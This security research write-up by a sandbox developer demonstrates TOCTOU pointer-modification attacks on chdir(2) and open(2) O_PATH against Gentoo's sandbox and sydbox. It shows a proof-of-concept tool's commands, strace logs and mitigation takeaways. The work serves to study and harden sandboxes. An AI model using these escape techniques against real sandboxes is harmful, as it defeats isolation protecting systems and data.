# [T☮CT☮U](https://en.wikipedia.org/wiki/Time-of-check_to_time-of-use)||[GTF☮](https://www.alchemistowl.org/pocorgtfo/): State of [Sandboxing](https://en.wikipedia.org/wiki/Sandbox_(computer_security)) in [Linux](https://en.wikipedia.org/wiki/Linux) This is a series of experiments with the intention of discovering the current state of user-space sandboxing on [Linux](https://en.wikipedia.org/wiki/Linux) featuring two prime examples of sandbox: [Gentoo's sandbox](https://wiki.gentoo.org/wiki/Sandbox_(Portage)) and [Exherbo's sydbox](https://lib.rs/crates/syd). Before we begin, the reader is recommended to take the following statements into attention and read this document with an open mind: 1. The goal of this document is to improve [Linux](https://en.wikipedia.org/wiki/Linux) sandboxing by diving step by step deeper into various [sandbox breaks](https://en.wikipedia.org/wiki/Privilege_escalation), and acquire information hopefully useful to flourish positive changes in sandboxing and security, primarily in the [Linux](https://en.wikipedia.org/wiki/Linux) ecosystem. 1. *This is not a pissing contest:* Neither [Gentoo's sandbox](https://wiki.gentoo.org/wiki/Sandbox_(Portage)) nor `sydbox --profile paludis` as used by [Exherbo](https://www.exherbolinux.org/)'s Paludis package mangler are security boundaries. It is trivial to break both sandboxes and you're not really discovering anything new by finding _yet another break_, unless of course you are displaying a novel method which is in _no way_ the claim of this document. 1. *[sydbox-3](https://sydbox.exherbolinux.org) by default aims to be a security boundary,* unlike sandboxes that are designed merely to detect package build mishaps, providing little defense against any _(remotely)_ sophisticated attack vector. Although we strongly disagree with this stance the common consensus is that this is acceptable for package builds. Hence, the state here is unlikely to change anytime soon. We are really worried that the next ~~Jia Tan~~ may sneak in a few lines of code in your `pkg_postinst`; but we will save our paranoia out of this document from here on. Again, from here on, when we say *sydbox* we will mean *sydbox-3 with defaults*. We highly recommend the reader to refer to the [_syd_(7)](http://man.exherbolinux.org/syd.7.html) manual page for a comprehensive overview of the restrictions included in sydbox's defaults. *sydbox-1* and *sydbox-3 with the paludis profile* are left out of scope for this document to avoid repetition: Both suffer from the same issues and are *at least as vulnerable as* the [Gentoo sandbox](https://wiki.gentoo.org/wiki/Sandbox_(Portage)). 1. I, [Ali Polatel](https://hexsys.org), also known as [`alip`](https://mastodon.online/@alip), am the main author of this document and a modest free-software developer whose free time has been sucked away by sydbox over the past one and a half decades. I have contributed to both [Gentoo](https://www.gentoo.org/) and [Exherbo](https://www.exherbolinux.org/) as a developer and continue to fulfill my role as an [Exherbo](https://www.exherbolinux.org/) developer as the time permits. *I am in no way an expert in security or sandboxing.* All of my words and observations here must be taken with a grain of salt. I appreciate and welcome all kinds of feedback, be it in the form of patches, comments, or even poems ;-). 1. [No, no, we don't die. Yes, we multiply!](https://archives.gentoo.org/gentoo-dev-announce/message/96d7b0ca943849075c223c3eac5814ff) # --version ## [Gentoo sandbox](https://wiki.gentoo.org/wiki/Sandbox_(Portage)) ``` $ sandbox --version [Gentoo](https://www.gentoo.org/) path sandbox version: 3.2 C lib: libc.so (/usr/x86_64-pc-linux-musl/lib/gcc/x86_64-pc-linux-musl/13/../../../libc.so) build: Apr 14 2024 21:09:02 contact: sandbox@gentoo.org via https://bugs.gentoo.org/ rtld: next is OK! :D personalities: x86_64:-m64 x86:-m32 x32:-mx32 configured with these options: --prefix=/usr/local ``` ## [Exherbo sydbox](https://lib.rs/crates/syd) ``` $ syd -V syd 3.19.0 (Jolly Moore) Author: Ali Polatel License: GPL-3.0-or-later Features: +debug, +elf, +log, +mimalloc[secure], +oci, -uring Landlock: fully enforced LibSeccomp: v2.5.5 api:7 Id (build): d8352281b92d9ae5472777f0eb3c37506a40da0d Host (build): 6.8.0-syd-13213-g70293240c5ce x86_64 Host (target): 6.8.0-syd-13213-g70293240c5ce x86_64 Target Environment: musl Target Persona: linux Target Pointer Width: 64 Target CPU Count: 4 (2 physical) Target CPU Endian: little Target CPU Features: aes,avx,avx2,bmi1,bmi2,cmpxchg16b,ermsb,f16c,fma,fxsr,lahfsahf,lzcnt,movbe,pclmulqdq,popcnt,rdrand,sse,sse2,sse3,sse4.1,sse4.2,ssse3,xsave,xsaveopt ``` # [PoC](https://en.wikipedia.org/wiki/Proof_of_concept) 1: [chdir(2)](https://man7.org/linux/man-pages/man2/chdir.2.html) pointer modification ## Setup ``` $ mkdir -m700 /tmp/ctf $ head -c42 /dev/random | sha1sum | awk '{print $1}' > /tmp/ctf/FLAG $ cat /tmp/ctf/FLAG 9a9f2ac4c894f2378605704047f937c60c1e1a0d $ syd-poc cd -h Usage syd-poc cd [-hsS] [-b benign-dir] [-t timeout] [dir] [command] [args...] Chdir into a hidden directory and execute the given command with the given arguments. Method of attack is pointer modification on the chdir(2) system call making use of TOCTOU. Default benign directory is /var/empty, specify an alternate path with "-b benign-dir". Default is to try until interrupted, specify a timeout with "-t timeout". Use -s to run test under strace, -S to skip strace auto-detection and run without tracing. ``` ## syd-poc cd /tmp/ctf cat FLAG - [TOCTOU](https://en.wikipedia.org/wiki/Time-of-check_to_time-of-use) on [_chdir_(2)](https://man7.org/linux/man-pages/man2/chdir.2.html) with pointer modification by a fellow malicious thread. - Thread repeatedly overwrites the memory area pointed by the [_chdir_(2)](https://man7.org/linux/man-pages/man2/chdir.2.html) path argument pointer. - Doesn't have to be a thread sharing the address space, - May also be [_ptrace_(2)](https://man7.org/linux/man-pages/man2/ptrace.2.html) or [_process_vm_writev_(2)](https://man7.org/linux/man-pages/man2/process_vm_readv.2.html) with sufficient rights. - **Resuming the system call in the sandbox process after access check is unsafe!** - `PTRACE_CONT`, `PTRACE_SYSCALL` - `SECCOMP_USER_NOTIF_FLAG_CONTINUE` - [A Time-of-Check-to-Time-of-Use (TOCTOU) attack](https://en.wikipedia.org/wiki/Time-of-check_to_time-of-use) can exploit more than just memory addresses passed to system calls. It can also target the filesystem or any resource where the sandbox checks permission at one point (Time-of-Check) but relies on that permission remaining valid until the actual operation (Time-of-Use). This vulnerability arises because the sandbox assumes no modifications can occur between these checks. - Goal: Enter the denylisted target directory and attempt to read the FLAG. - Brief summary of the attack under [_strace_(1)](https://man7.org/linux/man-pages/man1/strace.1.html) is given below: ``` $ syd-poc cd /tmp/ctf cat FLAG [*] Auto-detecting strace... [*] Attempting to run strace: "timeout" "5s" "strace" "-o/dev/null" "-f" "-echdir" "-qq" "--" "sh" "-xc" "cd /var/empty" + cd /var/empty [!] strace is available, let's use it! [*] Executing test under strace: "strace" "-f" "-echdir" "-qq" "--" "/usr/local/bin/syd-poc" "cd" "/tmp/ctf" "cat" "FLAG" [*] Starting chdir(2) pointer modification TOCTOU attack... [*] Benign directory: /proc/self/root/var/empty [*] Target directory: /tmp/ctf [*] Attack will continue until interrupted (Press ^C to stop). [pid 1673480] chdir("/proc/self/root/var/empty") = 0 [pid 1673480] chdir("/tmp/ctf") = 0 [!] TOCTOU attack succeeded after 2 attempts! [!] Current directory was unexpectedly changed! [*] Executing command in the denylisted directory... 9a9f2ac4c894f2378605704047f937c60c1e1a0d ``` ## [PoC](https://en.wikipedia.org/wiki/Proof_of_concept) 1: [Gentoo sandbox](https://wiki.gentoo.org/wiki/Sandbox_(Portage)) - We use sandbox defaults and specify `/tmp/ctf` as a denylisted path using `SANDBOX_DENY`. - We don't attempt to attach with [_strace_(1)](https://man7.org/linux/man-pages/man1/strace.1.html) using `-S` because this confuses sandbox. - Sandbox denies access to the system call by sending a `SIGSTOP` signal to the process. - What happens if a fellow malicious process sends a subsequent `SIGCONT` signal? ``` $ SANDBOX_DENY=/tmp/ctf sandbox syd-poc cd -S /tmp/ctf [*] Starting chdir(2) pointer modification TOCTOU attack... [*] Benign directory: /proc/self/root/var/empty [*] Target directory: /tmp/ctf [*] Attack will continue until interrupted (Press ^C to stop). [!] TOCTOU attack succeeded after 2372 attempts! [!] Current directory was unexpectedly changed! [*] Executing command in the denylisted directory... sh-5.2$ pwd /tmp/ctf sh-5.2$ cat FLAG [1] Stopped(SIGSTOP) cat FLAG sh-5.2$ * ACCESS DENIED: open_wr: /proc/1709169/fd/2 * ACCESS DENIED: open_rd: /tmp/ctf/FLAG cat: FLAG: Permission denied sh-5.2$ ls . [1] Stopped(SIGSTOP) ls . sh-5.2$ * ACCESS DENIED: open_wr: /proc/1709169/fd/2 * ACCESS DENIED: opendir: /tmp/ctf ls: cannot open directory '.': Permission denied sh-5.2$ cat ../../tmp/ctf/FLAG [1] Stopped(SIGSTOP) cat ../../tmp/ctf/FLAG sh-5.2$ * ACCESS DENIED: open_wr: /proc/1709169/fd/2 * ACCESS DENIED: open_rd: /tmp/ctf/FLAG cat: ../../tmp/ctf/FLAG: Permission denied sh-5.2$ exit * ----------------------- SANDBOX ACCESS VIOLATION SUMMARY ----------------------- --8<-- LOG OUTPUT OMITTED BY THE AUTHOR -->8-- ... $ ``` ## [PoC](https://en.wikipedia.org/wiki/Proof_of_concept) 1: [Exherbo sydbox](https://lib.rs/crates/syd) - We establish a minimal working environment for the [_syd-poc_(1)](http://man.exherbolinux.org/syd-poc.1.html) process using two [sydbox](https://lib.rs/crates/syd) rules. Rest is [sydbox's](https://lib.rs/crates/syd) secure defaults. Reader should understand this sydbox configuration does not allow `read`, `stat` or `write` access to the target directory `/tmp/ctf`. - Note how [sydbox](https://lib.rs/crates/syd) denies access to the target directory `/tmp/ctf` with `ENOENT`, aka *No such file or directory*, until the malicious thread wins the race. Interestingly the final [_chdir_(2)](https://man7.org/linux/man-pages/man2/chdir.2.html) that [_strace_(1)](https://man7.org/linux/man-pages/man1/strace.1.html) reports is actually not the path that the [kernel](https://kernel.org/) reads which is a typical and simple case of [TOCTOU](https://en.wikipedia.org/wiki/Time-of-check_to_time-of-use). - [`trace/allow_unsafe_debug:1`](http://man.exherbolinux.org/syd.2.html#trace/allow_unsafe_debug) is used to allow [_strace_(1)](https://man7.org/linux/man-pages/man1/strace.1.html) in the sandbox for demonstration purposes and [has no place in a safe sandbox.](http://man.exherbolinux.org/syd.2.html#trace/allow_unsafe_debug) That said, in this [PoC](https://en.wikipedia.org/wiki/Proof_of_concept) this option has no effect on the outcome. ``` $ syd \ -m "allow/read,stat,exec+/{etc,dev,proc,usr,var,lib*}/***" \ -m "allow/write+/dev/{null,tty,pts/*}" \ -m trace/allow_unsafe_debug:1 \ syd-poc cd /tmp/ctf [*] Auto-detecting strace... [*] Attempting to run strace: "timeout" "5s" "strace" "-o/dev/null" "-f" "-echdir" "-qq" "--" "sh" "-xc" "cd /var/empty" + cd /var/empty [!] strace is available, let's use it! [*] Executing test under strace: "strace" "-f" "-echdir" "-qq" "--" "/usr/local/bin/syd-poc" "cd" "/tmp/ctf" [*] Starting chdir(2) pointer modification TOCTOU attack... [*] Benign directory: /proc/self/root/var/empty [*] Target directory: /tmp/ctf [*] Attack will continue until interrupted (Press ^C to stop). [pid 1675504] chdir("/tmp/ctf") = -1 ENOENT (No such file or directory) [pid 1675504] chdir("/tmp/ctf") = -1 ENOENT (No such file or directory) [pid 1675504] chdir("/tmp/ctf") = -1 ENOENT (No such file or directory) [pid 1675504] chdir("/tmp/ctf") = -1 ENOENT (No such file or directory) [pid 1675504] chdir("/tmp/ctf") = -1 ENOENT (No such file or directory) [pid 1675504] chdir("/tmp/ctf") = -1 ENOENT (No such file or directory) chdir("/proc/self/root/var/empty") = 0 [!] TOCTOU attack succeeded after 7 attempts! [!] Current directory was unexpectedly changed! [*] Executing command in the denylisted directory... sh-5.2$ pwd /tmp/ctf sh-5.2$ cat FLAG cat: FLAG: No such file or directory --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=1675545, si_uid=1000, si_status=1, si_utime=0, si_stime=0} --- sh-5.2$ ls . ls: cannot access '.': No such file or directory --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=1675546, si_uid=1000, si_status=2, si_utime=0, si_stime=0} --- sh-5.2$ cat ../../tmp/ctf/FLAG cat: ../../tmp/ctf/FLAG: No such file or directory --- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=1675547, si_uid=1000, si_status=1, si_utime=0, si_stime=0} --- sh-5.2$ ``` ## [PoC](https://en.wikipedia.org/wiki/Proof_of_concept) 1: Takeaways - FLAG is yet out of reach, we do not even know if it's present in the target directory as we could not list it but **we entered a directory we *should* not have.** Our abilities inside the directory are severely limited and in itself this is not a break but may be a precursor of a break as we will see later. That said, at this point the severity is nothing any more than minor _unless_ your intended goal is stealth in which case this vector is an *information leak.* - [The kernel](https://kernel.org/) _should_ provide a safe [API](https://en.wikipedia.org/wiki/API) for this for seccomp, [see #218501.](https://bugzilla.kernel.org/show_bug.cgi?id=218501) - `SECCOMP_CHDIR` akin to `SECCOMP_ADDFD`? - Mitigation - Terminate the process on the next system call if `/proc/pid/cwd` points outside the sandbox: - **Too late! Too late!** - Return to `PTRACE_SYSCALL`, do the same check at syscall-exit and terminate the process: - On time but **too heavy**, +2 ptrace-stops per-syscall. - This gets better with `SECCOMP_TRACE` but still it's relatively heavy. - This attack requires an accessible benign directory to succeed. - However, denying all [_chdir_(2)](https://man7.org/linux/man-pages/man2/chdir.2.html) by default is a poorly acceptable scenario. - That said, the truly paranoid can consider loading a dynamic library into [sydbox](https://lib.rs/crates/syd), rather than running a command, which gives you additional options to restrict such as: - `-m unshare/user,mount:1` - `-m bind:/:/:noexec` - Makes the whole world noexec! What's better than that? - Provide a dynamic way for the sandbox process to lock [_chdir_(2)](https://man7.org/linux/man-pages/man2/chdir.2.html) calls: - Either explicit process cooperation via [the virtual /dev/syd API](http://man.exherbolinux.org/syd.2.html), - Or by acting upon a predetermined event to lock [_chdir_(2)](https://man7.org/linux/man-pages/man2/chdir.2.html): - akin to [Caitsith](https://kernsec.org/files/CaitSith-en.pdf)'s domain transitions on [_bind_(2)](https://man7.org/linux/man-pages/man2/bind.2.html) and [_exec_(3)](https://man7.org/linux/man-pages/man3/exec.3.html). - Solution - **Defense in depth:** Add an extra layer, _when in doubt, there's no doubt!_ - **Mount namespace + bind mounts** can mask the target directory: - `-munshare/user,mount:1` - `-mbind+tmpfs:/tmp/ctf:nodev,nosuid,noexec` - *Secure defaults:* [sydbox](https://lib.rs/crates/syd) forbids [_mount_(2)](https://man7.org/linux/man-pages/man2/mount.2.html) and [_umount_(2)](https://man7.org/linux/man-pages/man2/umount.2.html) calls in the sandbox, hence no way to umount the tmpfs above or remount the underlying directory elsewhere to make it accessible. - [**Landlock**](https://landlock.io/), if target directory is not readable, there is no candy: - [Landlock](https://landlock.io/) rules are static paths unlike [sydbox's](https://lib.rs/crates/syd) [_glob_(3)](https://man7.org/linux/man-pages/man3/glob.3.html) rules: - [Restriction at kernel-level](https://en.wikipedia.org/wiki/Linux_Security_Modules): Typically less-flexible but more secure than user-space sandboxing. - *Secure defaults:* [sydbox](https://lib.rs/crates/syd) process and the syscall handler threads are included in the [Landlock sandbox](https://landlock.io/), ie you must break both [sydbox's](https://lib.rs/crates/syd) seccomp sandbox and the static [Landlock sandbox](https://landlock.io/) to [*break free.*](https://yewtu.be/watch?v=f4Mc-NYPHaQ) - A bit more cumbersome to setup but worth it: - `-m sandbox/lock:on` - `-m allow/lock/read+/dev` - `-m allow/lock/read+/etc` - `-m allow/lock/read+/proc` - `-m allow/lock/read+/usr` - `-m allow/lock/read+/var` - `-m allow/lock/write+/dev/null` - `-m allow/lock/write+/dev/pts` - `-m allow/lock/write+/dev/tty` - Notably, the sample set of rules above do _not_ allow read or write to `/tmp/ctf`. - Surprisingly, this still allows one to change directory into `/tmp/ctf`! - Same issue of information leaking if/when the goal is stealth. - [Landlock](https://landlock.io/) bug or feature? - Safe to say the FLAG file `/tmp/ctf/FLAG` is out of reach once the [Landlock sandbox](https://landlock.io/) is applied unless we come up with a [kernel](https://kernel.org/) vulnerability which is out of scope: Sleep in peace. # [PoC](https://en.wikipedia.org/wiki/Proof_of_concept) 2: [open(2)](https://man7.org/linux/man-pages/man2/open.2.html) O\_PATH pointer modification ## Setup We are going to use the same setup as [PoC](https://en.wikipedia.org/wiki/Proof_of_concept) 1. ``` $ syd-poc path -h Usage syd-poc path [-hsS] [-b benign-file] [-t timeout] [file] [command] [args...] Prove existence of a hidden file utilizing pointer TOCTOU and pass the file descriptor to the command. Method of attack is pointer modification on the open(2) system call with O_PATH flag making use of TOCTOU. Default benign file is /dev/null, specify an alternate path with "-b benign-file". Default is to try until interrupted, specify a timeout with "-t timeout". Use -s to run test under strace, -S to skip strace auto-detection and run without tracing. ``` ## syd-poc path /tmp/ctf/FLAG ls -l /proc/self/fd/3 - [TOCTOU](https://en.wikipedia.org/wiki/Time-of-check_to_time-of-use) on [_open_(2)](https://man7.org/linux/man-pages/man2/open.2.html) with pointer modification by a fellow malicious thread. - The method is identical to [PoC](https://en.wikipedia.org/wiki/Proof_of_concept) 1, except we use the [_open_(2)](https://man7.org/linux/man-pages/man2/open.2.html) system call with the `O_PATH` flag. - Goal: Prove the presence of the file `/tmp/ctf/FLAG` despite the sandbox hiding it. ``` $ syd-poc path /tmp/ctf/FLAG ls -l /proc/self/fd/3 [*] Auto-detecting strace... [*] Attempting to run strace: "timeout" "5s" "strace" "-o/dev/null" "-f" "-qq" "-eopen" "--" "sh" "-xc" "cat /dev/null > /dev/null" + cat /dev/null [!] strace is available, let's use it! [*] Executing test under strace: "strace" "-f" "-qq" "-eopen" "--" "/usr/local/bin/syd-poc" "path" "/tmp/ctf/FLAG" "ls" "-l" "/proc/self/fd/3" open("/lib/x86_64-linux-gnu/libgcc_s.so.1", O_RDONLY|O_LARGEFILE|O_CLOEXEC) = -1 ENOENT (No such file or directory) open("/lib/x86_64-linux-gnu/libgcc_s.so.1", O_RDONLY|O_LARGEFILE|O_CLOEXEC) = -1 ENOENT (No such file or directory) open("/etc/ld-x86_64-pc-linux-musl.path", O_RDONLY|O_LARGEFILE|O_CLOEXEC) = 3 open("/usr/x86_64-pc-linux-musl/lib/libgcc_s.so.1", O_RDONLY|O_LARGEFILE|O_CLOEXEC) = 3 [*] Starting open(2) O_PATH pointer modification TOCTOU attack... [*] Benign file: /proc/self/root/dev/null [*] Target file: /tmp/ctf/FLAG [*] Attack will continue until interrupted (Press ^C to stop). [pid 1809886] open("/proc/self/root/dev/null", O_RDONLY|O_LARGEFILE|O_PATH) = 3 [pid 1809886] open("/proc/self/root/dev/null", O_RDONLY|O_LARGEFILE|O_PATH) = 3 [pid 1809886] open("/tmp/ctf/FLAG", O_RDONLY|O_LARGEFILE|O_PATH) = 3 [!] TOCTOU attack succeeded after 3 attempts! [!] Target path /tmp/ctf/FLAG is known to exist! [*] Passing file descriptor 3 to the command... [*] Executing command with target FD Some(OwnedFd { fd: 3 })... open("/lib/x86_64-linux-gnu/libcap.so.2", O_RDONLY|O_LARGEFILE|O_CLOEXEC) = -1 ENOENT (No such file or directory) open("/lib/x86_64-linux-gnu/libcap.so.2", O_RDONLY|O_LARGEFILE|O_CLOEXEC) = -1 ENOENT (No such file or directory) open("/etc/ld-x86_64-pc-linux-musl.path", O_RDONLY|O_LARGEFILE|O_CLOEXEC) = 4 open("/usr/x86_64-pc-linux-musl/lib/libcap.so.2", O_RDONLY|O_LARGEFILE|O_CLOEXEC) = 4 open("/etc/passwd", O_RDONLY|O_LARGEFILE|O_CLOEXEC) = 4 open("/etc/group", O_RDONLY|O_LARGEFILE|O_CLOEXEC) = 4 open("/usr/share/zoneinfo/Europe/Berlin", O_RDONLY|O_NONBLOCK|O_LARGEFILE|O_CLOEXEC) = 4 l--------- 1 alip alip 64 May 18 16:18 /proc/self/fd/3 -> /tmp/ctf/FLAG ``` ## [PoC](https://en.wikipedia.org/wiki/Proof_of_concept) 2: [Gentoo sandbox](https://wiki.gentoo.org/wiki/Sandbox_(Portage)) - We use sandbox defaults, and specify `/tmp/ctf` as a denylisted path using `SANDBOX_DENY`. - We do not attempt to attach with [_strace_(1)](https://man7.org/linux/man-pages/man1/strace.1.html) using `-S` because this confuses sandbox. ``` $ SANDBOX_DENY=/tmp/ctf sandbox syd-poc path -S /tmp/ctf/FLAG ls -l /proc/self/fd/3 [*] Starting open(2) O_PATH pointer modification TOCTOU attack... [*] Benign file: /proc/self/root/dev/null [*] Target file: /tmp/ctf/FLAG [*] Attack will continue until interrupted (Press ^C to stop). * ACCESS DENIED: open_rd: /tmp/ctf/FLAG * ACCESS DENIED: open_rd: /tmp/ctf/FLAG * ACCESS DENIED: open_rd: /tmp/ctf/FLAG * ACCESS DENIED: open_rd: /tmp/ctf/FLAG * ACCESS DENIED: open_rd: /tmp/ctf/FLAG * ACCESS DENIED: open_rd: /tmp/ctf/FLAG * ACCESS DENIED: open_rd: /tmp/ctf/FLAG * ACCESS DENIED: open_rd: /tmp/ctf/FLAG * ACCESS DENIED: open_rd: /tmp/ctf/FLAG * ACCESS DENIED: open_rd: /tmp/ctf/FLAG * ACCESS DENIED: open_rd: /tmp/ctf/FLAG * ACCESS DENIED: open_rd: /tmp/ctf/FLAG * ACCESS DENIED: open_rd: /tmp/ctf/FLAG * ACCESS DENIED: open_rd: /tmp/ctf/FLAG * ACCESS DENIED: open_rd: /tmp/ctf/FLAG * ACCESS DENIED: open_rd: /tmp/ctf/FLAG * ACCESS DENIED: open_rd: /tmp/ctf/FLAG * ACCESS DENIED: open_rd: /tmp/ctf/FLAG [!] TOCTOU attack succeeded after 30 attempts! [!] Target path /tmp/ctf/FLAG is known to exist! [*] Passing file descriptor 3 to the command... [*] Executing command with target FD Some(OwnedFd { fd: 3 })... l--------- 1 alip alip 64 May 18 16:53 /proc/self/fd/3 -> /tmp/ctf/FLAG * ----------------------- SANDBOX ACCESS VIOLATION SUMMARY ----------------------- --8<-- LOG OUTPUT OMITTED BY THE AUTHOR -->8-- ... $ ``` ## [PoC](https://en.wikipedia.org/wiki/Proof_of_concept) 2: [Exherbo sydbox](https://lib.rs/crates/syd) - We use exactly the same [sydbox](https://lib.rs/crates/syd) rules as we used for [PoC](https://en.wikipedia.org/wiki/Proof_of_concept) 1. ### Case 1: [allow\_unsafe\_open](http://man.exherbolinux.org/syd.2.html#trace/allow_unsafe_open) - [`trace/allow_unsafe_debug:1`](http://man.exherbolinux.org/syd.2.html#trace/allow_unsafe_debug) is used to allow [_strace_(1)](https://man7.org/linux/man-pages/man1/strace.1.html) in the sandbox for demonstration purposes and [has no place in a safe sandbox.](http://man.exherbolinux.org/syd.2.html#trace/allow_unsafe_debug) That said, in this [PoC](https://en.wikipedia.org/wiki/Proof_of_concept) this option has no effect on the outcome. ``` $ syd \ -m "allow/read,stat,exec+/{etc,dev,proc,usr,var,lib*}/***" \ -m "allow/write+/dev/{null,tty,pts/*}" \ -m trace/allow_unsafe_debug:1 \ -m trace/allow_unsafe_open:1 \ syd-poc path /tmp/ctf/FLAG ls -l /proc/self/fd/3 [*] Auto-detecting strace... [*] Attempting to run strace: "timeout" "5s" "strace" "-o/dev/null" "-f" "-qq" "-eopen" "--" "sh" "-xc" "cat /dev/null > /dev/null" + cat /dev/null [!] strace is available, let's use it! [*] Executing test under strace: "strace" "-f" "-qq" "-eopen" "--" "/usr/local/bin/syd-poc" "path" "/tmp/ctf/FLAG" "ls" "-l" "/proc/self/fd/3" open("/etc/ld-x86_64-pc-linux-musl.path", O_RDONLY|O_LARGEFILE|O_CLOEXEC) = 3 open("/usr/x86_64-pc-linux-musl/lib/libgcc_s.so.1", O_RDONLY|O_LARGEFILE|O_CLOEXEC) = 3 [*] Starting open(2) O_PATH pointer modification TOCTOU attack... [*] Benign file: /proc/self/root/dev/null [*] Target file: /tmp/ctf/FLAG [*] Attack will continue until interrupted (Press ^C to stop). [pid 2094162] open("/tmp/ctf/FLAG", O_RDONLY|O_LARGEFILE|O_PATH) = -1 ENOENT (No such file or directory) [pid 2094162] open("/tmp/ctf/FLAG", O_RDONLY|O_LARGEFILE|O_PATH) = -1 ENOENT (No such file or directory) [pid 2094162] open("/tmp/ctf/FLAG", O_RDONLY|O_LARGEFILE|O_PATH) = -1 ENOENT (No such file or directory) [pid 2094162] open("/tmp/ctf/FLAG", O_RDONLY|O_LARGEFILE|O_PATH) = -1 ENOENT (No such file or directory) [pid 2094162] open("/tmp/ctf/FLAG", O_RDONLY|O_LARGEFILE|O_PATH) = -1 ENOENT (No such file or directory) [pid 2094162] open("/tmp/ctf/FLAG", O_RDONLY|O_LARGEFILE|O_PATH) = -1 ENOENT (No such file or directory) [pid 2094162] open("/tmp/ctf/FLAG", O_RDONLY|O_LARGEFILE|O_PATH) = -1 ENOENT (No such file or directory) [pid 2094162] open("/tmp/ctf/FLAG", O_RDONLY|O_LARGEFILE|O_PATH) = -1 ENOENT (No such file or directory) [pid 2094162] open("/tmp/ctf/FLAG", O_RDONLY|O_LARGEFILE|O_PATH) = -1 ENOENT (No such file or directory) [pid 2094162] open("/tmp/ctf/FLAG", O_RDONLY|O_LARGEFILE|O_PATH) = -1 ENOENT (No such file or directory) [pid 2094162] open("/tmp/ctf/FLAG", O_RDONLY|O_LARGEFILE|O_PATH) = -1 ENOENT (No such file or directory) open("/proc/self/root/dev/null", O_RDONLY|O_LARGEFILE|O_PATH) = 3 [pid 2094162] open("/tmp/ctf/FLAG", O_RDONLY|O_LARGEFILE|O_PATH) = -1 ENOENT (No such file or directory) open("/proc/self/root/dev/null", O_RDONLY|O_LARGEFILE|O_PATH) = -1 ENOENT (No such file or directory) [pid 2094162] open("/tmp/ctf/FLAG", O_RDONLY|O_LARGEFILE|O_PATH) = -1 ENOENT (No such file or directory) [pid 2094162] open("/tmp/ctf/FLAG", O_RDONLY|O_LARGEFILE|O_PATH) = -1 ENOENT (No such file or directory) [pid 2094162] open("/tmp/ctf/FLAG", O_RDONLY|O_LARGEFILE|O_PATH) = -1 ENOENT (No such file or directory) [pid 2094162] open("/tmp/ctf/FLAG", O_RDONLY|O_LARGEFILE|O_PATH) = -1 ENOENT (No such file or directory) [pid 2094162] open("/tmp/ctf/FLAG", O_RDONLY|O_LARGEFILE|O_PATH) = -1 ENOENT (No such file or directory) [pid 2094162] open("/tmp/ctf/FLAG", O_RDONLY|O_LARGEFILE|O_PATH) = -1 ENOENT (No such file or directory) [pid 2094162] open("/tmp/ctf/FLAG", O_RDONLY|O_LARGEFILE|O_PATH) = -1 ENOENT (No such file or directory) [pid 2094162] open("/proc/self/root/dev/null", O_RDONLY|O_LARGEFILE|O_PATH) = -1 ENOENT (No such file or directory) [pid 2094162] open("/tmp/ctf/FLAG", O_RDONLY|O_LARGEFILE|O_PATH) = -1 ENOENT (No such file or directory) [pid 2094162] open("/tmp/ctf/FLAG", O_RDONLY|O_LARGEFILE|O_PATH) = -1 ENOENT (No such file or directory) [pid 2094162] open("/tmp/ctf/FLAG", O_RDONLY|O_LARGEFILE|O_PATH) = -1 ENOENT (No such file or directory) [pid 2094162] open("/tmp/ctf/FLAG", O_RDONLY|O_LARGEFILE|O_PATH) = -1 ENOENT (No such file or directory) open("/proc/self/root/dev/null", O_RDONLY|O_LARGEFILE|O_PATH) = -1 ENOENT (No such file or directory) open("/proc/self/root/dev/null", O_RDONLY|O_LARGEFILE|O_PATH) = 3 [!] TOCTOU attack succeeded after 28 attempts! [!] Target path /tmp/ctf/FLAG is known to exist! [*] Passing file descriptor 3 to the command... [*] Executing command with target FD Some(OwnedFd { fd: 3 })... open("/etc/ld-x86_64-pc-linux-musl.path", O_RDONLY|O_LARGEFILE|O_CLOEXEC) = 4 open("/usr/x86_64-pc-linux-musl/lib/libcap.so.2", O_RDONLY|O_LARGEFILE|O_CLOEXEC) = 4 open("/etc/passwd", O_RDONLY|O_LARGEFILE|O_CLOEXEC) = 4 open("/etc/group", O_RDONLY|O_LARGEFILE|O_CLOEXEC) = 4 open("/usr/share/zoneinfo/Europe/Berlin", O_RDONLY|O_NONBLOCK|O_LARGEFILE|O_CLOEXEC) = 4 l--------- 1 alip alip 64 May 18 16:46 /proc/self/fd/3 -> /tmp/ctf/FLAG $ ``` ### Case 2: Defaults - We set a timeout for convenience. ``` $ syd \ -m "allow/read,stat,exec+/{etc,dev,proc,usr,var,lib*}/***" \ -m "allow/write+/dev/{null,tty,pts/*}" \ syd-poc path -t60 /tmp/ctf/FLAG ls -l /proc/self/fd/3 [*] Auto-detecting strace... [*] Attempting to run strace: "timeout" "5s" "strace" "-o/dev/null" "-f" "-qq" "-eopen" "--" "sh" "-xc" "cat /dev/null > /dev/null" [?] strace is not available, continuing without. [*] Starting open(2) O_PATH pointer modification TOCTOU attack... [*] Benign file: /proc/self/root/dev/null [*] Target file: /tmp/ctf/FLAG [*] Attack timeout is 60 seconds. [*] Still trying... 16291 attempts so far. [*] Still trying... 32506 attempts so far. [*] Still trying... 48219 attempts so far. [*] Still trying... 64028 attempts so far. [*] Still trying... 79960 attempts so far. [?] Timeout reached after 96196 attempts. [?] Try increasing timeout with "-t timeout". $ ``` ## [PoC](https://en.wikipedia.org/wiki/Proof_of_concept) 2: Takeaways - FLAG is a bit closer to us now that **we can detect the existence of files that are *hidden* by the sandbox.** We've successfully attained a file descriptor to the file, however we can't use this file descriptor to read the file as it lacks read rights (`O_PATH` vs. `O_RDONLY`). At this point though, it should be clear to the reader how to perform a simple [TOCTOU](https://en.wikipedia.org/wiki/Time-of-check_to_time-of-use) attack so the same method can be applied similarly to stat, read, write and execute a denylisted file. The first three of these, *stat, read and write*, can be effectively made [TOCTOU](https://en.wikipedia.org/wiki/Time-of-check_to_time-of-use)-free thanks to the `SECCOMP_ADDFD` [_seccomp_(2)](https://man7.org/linux/man-pages/man2/seccomp.2.html) request and the [_openat2_(2)](https://man7.org/linux/man-pages/man2/openat2.2.html) system call. We'll talk about exec in the next experiment. - [sydbox](https://lib.rs/crates/syd) isn't affected by default, quoting [BUGS](http://man.exherbolinux.org/syd.7.html#BUGS) section of the [_syd_(7)](http://man.exherbolinux.org/syd.7.html) manual page: - As of version 3.19.0, 